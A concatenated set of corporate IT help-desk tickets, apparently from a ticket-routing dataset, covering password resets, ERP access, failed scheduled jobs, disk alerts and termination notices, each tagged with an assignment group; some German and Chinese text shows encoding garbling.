-help the user login to the password\_management\_tool password tool and change the passwords.
-help the user to sync the psswords to the company network.
-caller confirmed that he was able to login.
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: bei herrn potthryzler (benutzerkennung: potsffwzlo) geht EU\_tool am rechner: empw8111201a nicht., Description: fehlermeldung: systemfehler &h91115116
with mr. potthryzler (user identification: potzlow) EU\_tool does not go to the computer: empw8111201a.
error message: system error & h91115116 , is assigned to Assignment group: GRP\_33.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit login in br \usalikfj lfmpxbcn, Description: probleme mit login in br \usalikfj lfmpxbcn, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp, Description:
received from: tdkfuobm.qrtmaxos@gmail.com
good morning,
i am unable to log into my erp as normal. after review with doyhtuug endlkglfeghart, it was determined this was from the switchover of servers.
can you please correct so i can log in as normal?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to SID\_1, Description: unable to login to SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: winwip not working , asking to buy trial version validity expired , Description: winwip not working , asking to buy trial version validity expired , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp ksff dashbankrds - need to push to computer lrrw7403548, Description:
received from: dpuifqeo.eglwsfkn@gmail.com
please push the erp mii ksff dashbankrd to this computer
, is assigned to Assignment group: GRP\_41.Ticket with Short description: need access to erp SID\_1 like rpgcdbfa reuwibpt, Description: need access to erp SID\_1 like rpgcdbfa reuwibpt, is assigned to Assignment group: GRP\_2.Ticket with Short description: user needs help to login to erp SID\_34., Description: user needs help to login to erp SID\_34.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the userlogin to the erp SID\_34.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: need the configuration of new pc, Description: need the configuration of new pc, is assigned to Assignment group: GRP\_0.Ticket with Short description: it training - polycom , Description: \_x000D\_
\_x000D\_
received from: lkfzibrx.ljnabpgx@gmail.com\_x000D\_
\_x000D\_
hellow\_x000D\_
\_x000D\_
can someone help me to install polycom i have some issues\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: can you please give me access to the SID\_1 uacyltoe hxgaycze system. user pildladjadga
, Description: can you please give me access to the SID\_1 uacyltoe hxgaycze system. user pildladjadga
, is assigned to Assignment group: GRP\_0.Ticket with Short description: acces to SID\_1, Description: \_x000D\_
\_x000D\_
received from: rgpvdhcm.mgvpabsj@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
due to travel\_tool uacyltoe hxgayczeing please allow me to acces to q-11.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: my collaboration\_platform and sync keeps prompting for a password., Description: i changed my password yesterday, ever since i keep getting messages to enter my email and password, i do and nothing happens, i again get prompted to enter it. my one note is not syncing because of this issue, evry time i work with a file i keep getting the prompt., is assigned to Assignment group: GRP\_0.Ticket with Short description: npc in erp system stuck due to employees leaving the company, Description: npc 311190814 was created by svuxizgr mkynswqd before she left the company. task list looked complete before she left, the materials are not fert. i re-assigned coordinator and tasks to me but it wont complete., is assigned to Assignment group: GRP\_11.Ticket with Short description: re: ticket\_no1538187::cpp user ids - password change needed for 3 users - please assign to bokrgadgsu esdwduobrlcn, Description:
received from: wibovsru.ulmqyhsk@gmail.com
hello drwfubia,
per our conversation, in two cases below i am unable to change the passwords because the erp system passwords are not reset to daypay3. i do not know who this ticket should be assigned to. i created the ticket and it was assigned by someone to you. if it has to go to someone else, please reassign it accordingly.
cphemg02 - erp SID\_34 - account locked - login not possible
cphemg02 - erp SID\_39 - account locked - login not possible
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need access to \\eagcldaten\aese\leitung\csd\_emealeitung, Description: need access to \\eagcldaten\aese\leitung\csd\_emealeitung, is assigned to Assignment group: GRP\_34.Ticket with Short description: folder deletion from s: drive, Description: \_x000D\_
\_x000D\_
received from: hjokrfpv.fhpaxsqc@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
\_x000D\_
could you please help me retrieving the deleted folder from s drive.\_x000D\_
below was the link. now it's not here. folder name: vacation plan.\_x000D\_
vacation plan update (file://HostName\_95/teams/globalengservices/12tcb\_graphics/vacation%20plan/team%20vacation%20updates%202016.xlsx\_x000D\_
\_x000D\_
please support\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: not able to view drawings in business\_client, Description: not able to view drawings in business\_client, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37filesys failed in job\_scheduler at: 10/19/2016 06:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37filesys failed in job\_scheduler at: 10/19/2016 06:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_736 failed in job\_scheduler at: 10/19/2016 06:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_736 failed in job\_scheduler at: 10/19/2016 06:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: impact award, Description:
received from: lzvdyouh.imqgfadb@gmail.com
hallo,
ich kann mich nicht in das impact award programdntym einloggen oder mein pass-wort zurÃ¼cksetzen.
mit freundlichen grÃ¼ÃŸen
lzvdyouh imqgfadb
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue : reset password for SID\_37 for pandethrypv, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):
enter user id of user having the issue:
transaction code(s) the user needs or was working with:
describe the issue:
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.
provide access the same as this other user: pandethrypv, is assigned to Assignment group: GRP\_2.Ticket with Short description: folder access : s:\globalace\_holemaking\ha646, Description: please see below in red:\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe / best , is assigned to Assignment group: GRP\_34.Ticket with Short description: outlook not working, Description: outlook not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to access walkme plugin, Description:
every time i click on the "walkme" link , i get the " upgrade plugin" message .
i get the below message in a new tab. i am not being able to access "walkme plugin" on hr\_tool.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: german caller , Description: german caller , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get old mails in outlook, Description: \_x000D\_
\_x000D\_
received from: kirtyywpuo.dcksxjeq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please note i am unable to get my old mails in the inbox. the oldest mail i can get is of 9th april 2015.\_x000D\_
i need my old mails also as there is important data related to customers.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 10/19/2016 05:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 10/19/2016 05:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: not able to open the existing hana report, Description: not able to open the existing hana report, is assigned to Assignment group: GRP\_9.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: nmgesubf.wugbalmy@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
office 365 (collaboration\_platform) is not executing in my a/c,\_x000D\_
\_x000D\_
pl. help,\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: a termination for ckfobaxd wgnejyvt, 11173878, effective 09/16/2016 has been approved. , Description: a termination for ckfobaxd wgnejyvt, 11173878, effective 09/16/2016 has been approved. \_x000D\_
\_x000D\_
account is not yet disabled , is assigned to Assignment group: GRP\_2.Ticket with Short description: waste email from workflow system, Description: \_x000D\_
\_x000D\_
received from: creojvdh.ciblyskg@gmail.com\_x000D\_
\_x000D\_
hello it helperï¼Œ\_x000D\_
recently i always got some email from working flow system to remind me approve pr :01456949 and 01456987, but that pr already no in erp , can you help me check "?\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: not able to take skype meetings via head phone, Description: laptop model : dell precision m4800, is assigned to Assignment group: GRP\_19.Ticket with Short description: belgium callsariving at agnwfwieszka kubiadfffk., Description: there are belgium costumers calling the polish phone number of agnwfwieszka.
can we do something on it., is assigned to Assignment group: GRP\_7.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/19/2016 04:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/19/2016 04:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_106:volume consumed 85% ,out of 20gb currently 3gb space is available., Description: HostName\_106:volume consumed 85% ,out of 20gb currently 3gb space is available., is assigned to Assignment group: GRP\_12.Ticket with Short description: power outage:company-na-mex-juarez-dmvpn-1811-rtr01 located at juarez mx is hard down since 2.53am et on 10/19., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_2.53am et on 10/19.\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: lÃ¼fter defekt \industriekontrollmonitor \niptbwdq csenjruz, Description: lÃ¼fter defekt \industriekontrollmonitor \niptbwdq csenjruz, is assigned to Assignment group: GRP\_24.Ticket with Short description: reinstall win7 \qidgvtwa qvbutayx, Description: reinstall win7 \qidgvtwa qvbutayx, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit kamera und monitor ., Description: guten morgen dhthykts,
um die kamera an den neuen monitor anzuschlieÃŸen benÃ¶tigen wir ein kabel von hdmi auf diesen hellgrauen anschluss am dell monitor. so ist zumindest die erste kamera aufgebaut. falls es andere alternativen gibt sind wir natÃ¼rlich auch dafÃ¼r offen.
, is assigned to Assignment group: GRP\_24.Ticket with Short description: unable to create delivery, Description: please provide the following:
what order number? 36154414
what material or item number? 6604042 item 1300
what warehouse location? plant\_263
issue description / error message?
it is legal control issue, material was extended to plant plant\_263 by rqfhiong zkwfqagb team, but legal control group isn't extend automatically also, it is fert product and for poland (like for all eu) it should be set like ear99,
we have the same problem with all new materials extended to plant plant\_263 and country pl(the same issue with czech republic- plant\_254 and turkey- plant\_163),
all materials have to be released manually by import/export managers (rlhuwmve krcfhoxj, slrgconp onukdesq, chrsddiwds dwdbertfsych),
the manually process take a lot times export team and csrs every day, and very often block invoicing and sales(tools after tests\_n\_demonstrations, consigment stocks),
material #6604042 is only example and will be relased manually by petqkjra, but please check the problem, find root cause and solve it,
, is assigned to Assignment group: GRP\_6.Ticket with Short description: probleme mit fp \rechner bleibt hÃ¤ngen \ksxchbaf rhquvzfm, Description: probleme mit fp \rechner bleibt hÃ¤ngen \ksxchbaf rhquvzfm, is assigned to Assignment group: GRP\_24.Ticket with Short description: need help in changing password in password\_management\_tool password manager., Description: need help in changing password in password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: amssm003: windows disk space utilization alert:utiliuytretion is 97%, out of 18gb currently 555 mb is available. , Description: amssm003: windows disk space utilization alert : utiliuytretion is 97%, out of 18gb currently 555 mb is available. , is assigned to Assignment group: GRP\_12.Ticket with Short description: erp SID\_34 ( erp production)., Description: \_x000D\_
\_x000D\_
received from: ydvmibwn.eljtsdar@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
the response time is of erp SID\_34 ( erp production) is very slow.\_x000D\_
request you to kindly arrange to resolve it.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: telecom\_vendor\_3 dongle connection issue, Description: telecom\_vendor\_3 donggle connection issue
-connected to the user system using teamviewer.
-uninstalled and reinstalled the telecom\_vendor\_3 dongle app.
-checked the dongle settings.
-advised the user to try and connect.no go
-user mentioned that the telecom\_vendor\_3 connect get connected for some time and then disconnects.
-its happening since a long time
-no :, is assigned to Assignment group: GRP\_19.Ticket with Short description: wild card search for grade is not working in search by part number in distributor\_tool, Description: wild card search for grade is not working in search by part number in distributor\_tool, is assigned to Assignment group: GRP\_20.Ticket with Short description: reset passwords for soldfnbq uhnbsvqd using password\_management\_tool password reset., Description: mein erp passwort funktioniert nicht. ich bin gesperrt., is assigned to Assignment group: GRP\_17.Ticket with Short description: access needed, Description: \_x000D\_
\_x000D\_
received from: fwypxqcs.twsqoimy@gmail.com\_x000D\_
\_x000D\_
hello ladies and gentlemen,\_x000D\_
\_x000D\_
\_x000D\_
i need access to:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d229e3.a59c88e0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image004.jpg@01d229e3.a59c88e0]\_x000D\_
\_x000D\_
\_x000D\_
may , is assigned to Assignment group: GRP\_34.Ticket with Short description: job Job\_485 failed in job\_scheduler at: 10/19/2016 02:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_485 failed in job\_scheduler at: 10/19/2016 02:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pc an der EU\_tool-station 21 in germany funktioniert nicht mehr., Description: pc an der EU\_tool-station 21(oder bde21) in germany funktioniert nicht mehr.\_x000D\_
anzeige schreibt festplatten fehler., is assigned to Assignment group: GRP\_33.Ticket with Short description: verbindung zum internet server nicht mÃ¶glich wegen administrationsrechten - , Description: fehlermeldung in der mail,: dieser vorgang wurde wegen beschrÃ¤nkung abgebrochen. bitte wenden sie sich an den systemadministrator
kein hyperlink mÃ¶glich zu Ã¶ffnen!, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for soldfnbq uhnbsvqd using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: erp SID\_34 passowrd , Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist to reset erp SID\_34 password for user kimtc.
dkklddww lqdwjdwd
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp account entsperren, Description: bitte erp account von fygrwuna gomcekzi entsperren., is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery blocked status :blocked, Description: same issue with inc1561759. i have found another delivery status blocked items. please see the attached excel file for material numbers. \_x000D\_
plesae change status to "not blocked" otherwise we cannot create delivery note., is assigned to Assignment group: GRP\_13.Ticket with Short description: reset passwords for fygrwuna gomcekzi using password\_management\_tool password reset., Description: bitte erp kennwort zurÃ¼cksetzen., is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for fygrwuna gomcekzi using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: quote required laptop bag & projector adopter for dell latitude 7350, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
please give the quote for laptop bag & projector adopter for my laptop dell latitude 7350.\_x000D\_
\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_2584 failed in job\_scheduler at: 10/19/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2584 failed in job\_scheduler at: 10/19/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: verbindung zwischen drucker em98 und pc eemw8144353 kann nicht hergestellt werden, Description: verbindung zwischen drucker em98 und pc eemw8144353 kann nicht hergestellt werden, is assigned to Assignment group: GRP\_0.Ticket with Short description: \*deilvery block status\* , Description:
received from: nwlhcfpa.zdlfmthq@gmail.com
hello it team,
can you please assist to create dn for the following so# 36148274 ? we cannot create delivery. i believed this is because delivery block status has been set with "blocked". need to be "not blocked."
so# 361482744
mm#
52815092
56235173
52842204
[cid:image002.png@01d22a14.9ba833d0]
[cid:image001.jpg@01d22a11.78bb30f0]
, is assigned to Assignment group: GRP\_13.Ticket with Short description: netzteil oder netzstecker defekt - pc wareneingang, Description: bitte netzteil oder netzstecker am pc evhw8114354 (wareneingang) prÃ¼fen und ggf. reparieren.\_x000D\_
pc lÃ¤sst sich nur nach bewegen des steckers einschalten., is assigned to Assignment group: GRP\_33.Ticket with Short description: account locked in erp SID\_34 , Description: account locked in erp SID\_34 , is assigned to Assignment group: GRP\_0.Ticket with Short description: in hub , for commstorage\_product-company folder , for me it is showing access denied., Description: in hub , for commstorage\_product-company folder , for me it is showing access denied., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp issue, Description: \_x000D\_
\_x000D\_
received from: ublisodp.qydfvpgw@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
when i try to create a new mm number for items with storage location plant\_62, the mm number gets created under plant\_228 ,even when the storage location is specified as "plant\_62" in the line item.\_x000D\_
pl rectify same.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: job Job\_1967d failed in job\_scheduler at: 10/19/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1967d failed in job\_scheduler at: 10/19/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1967d failed in job\_scheduler at: 10/19/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1967d failed in job\_scheduler at: 10/19/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: : insert to d/n no., Description: please insert the delivery note no. in erp book, is assigned to Assignment group: GRP\_18.Ticket with Short description: t/o not generated automatically for dn 8058525297, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to check dn 9169636308,the t/o can not generated, , is assigned to Assignment group: GRP\_18.Ticket with Short description: ms office 365 pro plus french has got corrupted please do the need full , Description: ms office 365 pro plus french has got corrupted please do the need full , is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to login to windows account , Description: unable to login to windows account , is assigned to Assignment group: GRP\_0.Ticket with Short description: my mobile phone cannot be use for skype business concall., Description: also my initial is wrong, the right one is waitgr chdffong, sdfgwong
, is assigned to Assignment group: GRP\_19.Ticket with Short description: termination for lauredwwden hwffiglhkins,, Description:
a termination for lauredwwden hwffiglhkins, 11139101, effective 10/01/2016 has been approved.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_3050 failed in job\_scheduler at: 10/18/2016 22:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3050 failed in job\_scheduler at: 10/18/2016 22:38:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 10/18/2016 22:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 10/18/2016 22:18:00, is assigned to Assignment group: GRP\_47.Ticket with Short description: unable to access email, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist as my staff kmvwxdti uaoyhcep unable to open his email.
computer name : aswl8912729
user : kthassi65a6
dbkdwwd wdfwsggalleh
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: hello , a termination for phvwitud kvetadzo, 1113235650, effective 09/24/2016 has been approved, Description: from: [mailto:system@hr\_tool.com]
sent: wednesday, october 19, 2016 12:52 am
to: nwfodmhc exurcwkm
subject: the terminate action for phvwitud kvetadzo has completed.
hello ,
a termination for phvwitud kvetadzo, 1113235650, effective 09/24/2016 has been approved.
click the link to view.
here
, is assigned to Assignment group: GRP\_2.Ticket with Short description: tracking#, Description:
received from: gkwcxzum.answkqpe@gmail.com
dear all
would you please do me a favor ?
plant\_69 is on the customs audit and we are preparing the document.
referring to the attached file, using /pweaver/ship-manifest, i can't extract the tracking numbers based on dns.
would you please let me know if there is any way ?
can we not extract the old data ?
, is assigned to Assignment group: GRP\_18.Ticket with Short description: hello on my order below. i have 5 drop ships that will not inwarehouse\_tool they customer. item 50, 70, 80, 100 and 110. , Description: from: pvjdtrya oevyhtdx [mailto:pvjdtrya.oevyhtdx@gmail.com]
sent: tuesday, october 18, 2016 9:02 pm
to: nwfodmhc exurcwkm
subject: wtykmnlg xamesrpfrop ship will not inwarehouse\_tools
hello
on my order below. i have 5 drop ships that will not inwarehouse\_tool they customer. item 50, 70, 80, 100 and 110. po # 5616726510, 5616726518 and 5616720523.
please advise.
please update your records with my new email address:
pvjdtrya.oevyhtdx@gmail.com
zurtxjbd gaotwcfd
inside sales representative
pvjdtrya.oevyhtdx@gmail.com
, is assigned to Assignment group: GRP\_13.Ticket with Short description: termination for brthryian lsgthhuart, Description: termination for brthryian lsgthhuart
hello ,
a termination for brthryian lsgthhuart, 1115787569, effective 10/17/2016 has been approved.
click the link to view.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to sync mails on iphone 6s, Description: unable to sync mails on iphone 6s, is assigned to Assignment group: GRP\_0.Ticket with Short description: exchange with phone, Description:
received from: kiduhltr.ofrdvnux@gmail.com
hello
please can you login again my phone to server.
i changed my phone from old iphone 5s to new 6s . i want connect/get e-mails from exchange outlook on my iphone again :
iphone 6s
phone number: +
imei:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access erp , Description: unable to access erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç”¨å‹è½¯ä»¶é—®é¢˜, Description: æ‰“å¼€å·²å…³é—­çš„é”€å”®è®¢å•æ—¶ï¼Œæ˜¾ç¤º"ä¸èƒ½åœ¨æ‰‹åŠ¨æˆ–åˆ†å¸ƒäº‹ç‰©æ–¹å¼ä¸‹åˆ›å»ºæ–°çš„é“¾æŽ¥", is assigned to Assignment group: GRP\_48.Ticket with Short description: job SID\_43hoti failed in job\_scheduler at: 10/18/2016 18:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_43hoti failed in job\_scheduler at: 10/18/2016 18:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: termination for yhteijwf llwlfazo, 1117529567, Description: hello ,
a termination for yhteijwf llwlfazo, 1117529567, effective 10/18/2016 has been approved.
click the link to view.
here
, is assigned to Assignment group: GRP\_2.Ticket with Short description: ticket update on inplant\_870573, Description: ticket update on inplant\_870573, is assigned to Assignment group: GRP\_0.Ticket with Short description: suspected spam mail, Description: this looks like spam to me, just wanted to make someone aware.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_27.Ticket with Short description: tool data site - cannot search with out security error, Description: dwmnad macwdlmwkey - this is the error i am getting when i use any search function on
system.outofmemoryexception: exception of type 'system.outofmemoryexception' was thrown. at system.reflection.runtimeassembly.getrawbytes(runtimeassembly assembly, objecthandleonstack retrawbytes) at system.reflection.runtimeassembly.getrawbytes() at system.security.policy.hash.getrawdata() at system.security.policy.hash.generatehash(type hashtype) at system.security.policy.hash.get\_sha1() at system.web.handlers.scriptresourcehandler.getassemblyinfointernal(assembly assembly) at system.web.handlers.scriptresourcehandler.getassemblyinfo(assembly assembly) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.getscriptresourceurlimpl(list`1 assemblyresourcelists, boolean zip) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.system.web.handlers.iscriptresourcehandler.getscriptresourceurl(list`1 assemblyresourcelists, boolean zip) at system.web.handlers.scriptresourcehandler.runtimescriptresourcehandler.system.web.handlers.iscriptresourcehandler.getscriptresourceurl(assembly assembly, string resourcename, cultureinfo culture, boolean zip) at system.web.ui.scriptreference.geturlfromname(scriptmanager scriptmanager, icontrol scriptmanagercontrol, boolean zip) at system.web.ui.scriptreference.geturlinternal(scriptmanager scriptmanager, boolean zip) at system.web.ui.scriptreference.geturl(scriptmanager scriptmanager, boolean zip) at system.web.ui.scriptmanager.registeruniquescripts(list`1 uniquescripts) at system.web.ui.scriptmanager.registerscripts() at system.web.ui.scriptmanager.onpageprerendercomplete(object sender, eventargs e) at system.web.ui.page.onprerendercomplete(eventargs e) at system.web.ui.page.processrequestmain(boolean includestagesbeforeasyncpoint, boolean includestagesafterasyncpoint), is assigned to Assignment group: GRP\_25.Ticket with Short description: password reset to login hub , Description: password reset to login hub , is assigned to Assignment group: GRP\_0.Ticket with Short description: no display on the monitor, Description: no display on the monitor, is assigned to Assignment group: GRP\_0.Ticket with Short description: distribution list not updating , Description: distribution list not updating \_x000D\_
removed and re added it back ..waited for some time.\_x000D\_
it worked fine.\_x000D\_
issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: em event: critical:SID\_37 the value of datafile size for perpsr3glovia,/oracle/SID\_37/erpdata22/sr3glovia\_6/sr3glovia.data6 is, Description: host=HostName\_221.company.com \_x000D\_
target type=database instance \_x000D\_
target name=SID\_37 \_x000D\_
categories=capacity \_x000D\_
message=the value of datafile size for perpsr3glovia,/oracle/SID\_37/erpdata22/sr3glovia\_6/sr3glovia.data6 is 26,800 \_x000D\_
severity=critical \_x000D\_
event reported time=oct 18, 2016 3:00:29 pm edt \_x000D\_
event type=metric alert \_x000D\_
event name=me$oracle\_datafile\_monitor:datafile\_size \_x000D\_
, is assigned to Assignment group: GRP\_1.Ticket with Short description: cannot post delivery 8058506120, Description: cannot post delivery 9169617231. about 153 materials were recently moved from usa warehouse to usa warehouse. we are not able to post this delivery. get error that says this material is not maintained at plant plant\_192. plant\_192 is usa alabama plant. (should have nothing to do with this). see attached screen shots. i am concerned that some configuration is missing to allow plant\_101 to ship consignment fill up orders for this customer. (tool flo mfg.) these products are only to be stored in usa temporarily. once inventory depletes, these will be shipped direct from plant\_327/plant\_328 plant. we cannot miss service to this customer. please advise. , is assigned to Assignment group: GRP\_13.Ticket with Short description: supply\_chain\_software pw, Description:
received from: bmudkpie.qolrvbip@gmail.com
hello,
please reset my password for supply\_chain\_software (user: beyhtcykea23)
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: assign user "corsthroc34" to the ad ltabthrysallotcsalesman, Description: hello,
pls assign user "corsthroc34" to the ad ltabthrysallotcsalesman. currently he is added to ltaballotcsalesemp but he is a sales manager.
approved by me (if it is enough as approval).
, is assigned to Assignment group: GRP\_2.Ticket with Short description: envoyÃ© Ã  partir de lâ€™outil capture dâ€™Ã©cran, Description: \_x000D\_
\_x000D\_
received from: orvsydzf.rbqtpdaz@gmail.com\_x000D\_
\_x000D\_
<\_x000D\_
hello, <\_x000D\_
<\_x000D\_
i haved any access to bobj, since 3 days. please could you help me.<\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: infopath installation for lean event , Description: ' i m not able to "add a lean event" through "the webpage cannot be displayed", is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1967d failed in job\_scheduler at: 10/18/2016 14:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1967d failed in job\_scheduler at: 10/18/2016 14:02:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: unable to load outlook as ost file got corrupted, Description: unable to load outlook as ost file got corrupted
name:bthrob knrlepglper
language:
browser:microsoft internet explorer
email:xziwkgeo.gdiraveu@gmail.com
customer number:
telephone:
summary:could you please take control of my screen and let me know what is wrong with my email? , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_870499, Description: ticket update on inplant\_870499, is assigned to Assignment group: GRP\_0.Ticket with Short description: finance portal on the hub, Description: \_x000D\_
\_x000D\_
received from: qfcxbpht.oiykfzlr@gmail.com\_x000D\_
\_x000D\_
company help,\_x000D\_
\_x000D\_
i was unable to access the finance portal on the hub, even though i have done this in the past, receiving the below message. could you please check my permissions and let me know what i need to do to reinstate?\_x000D\_
\_x000D\_
